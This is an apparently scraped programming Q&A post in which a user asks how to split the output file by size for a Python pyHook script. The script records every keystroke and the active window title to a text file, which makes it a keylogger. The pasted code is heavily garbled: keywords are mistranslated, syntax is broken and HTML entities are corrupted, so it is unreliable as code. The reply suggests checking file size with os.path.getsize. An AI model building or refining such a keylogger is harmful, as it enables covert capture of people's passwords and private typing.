python - Using own code in pyhook pumpmessages -
I want to check if the file is in comparison to 2Kb in which I'm writing the key. If it is more than 2KB then I need to create another file and stop writing in this one. I am starting in Python, please help me. Please tell where I can use the code to check if the file is more than 2KB. Importing win32api, win32console, win32gui, pythoncom, pyHook, sis, time, os import datetime now = datetime.datetime is now () p = now.strftime ("% Y-% m- % D% H% M ") temp_path = p fil = temp_path + '.txt' sys.stdout = open (fil, 'mou') lastWindow = none LastWindow = win32gui.GetWindowText (win32gui.GetForegroundWindow ()), while it True: def OnKeyboardEvent (event): Global lastWindow window = event.WindowName key = chr (event.Ascii) if window = lastWindow: print window lastWindow = window print key hm = pyHook.HookManager () hm.KeyDown = OnKeyboardEvent hm. HookKeyboard () pythoncom.PumpMessages ()
Hope you can help
You can use .getsize
>. & Gt; & Gt; Import OS & gt; & Gt; & Gt; B = os.path.getsize ("/ path / isa_005.mp3") & gt; & Gt; & Gt; B2071611 L
Comments
Post a Comment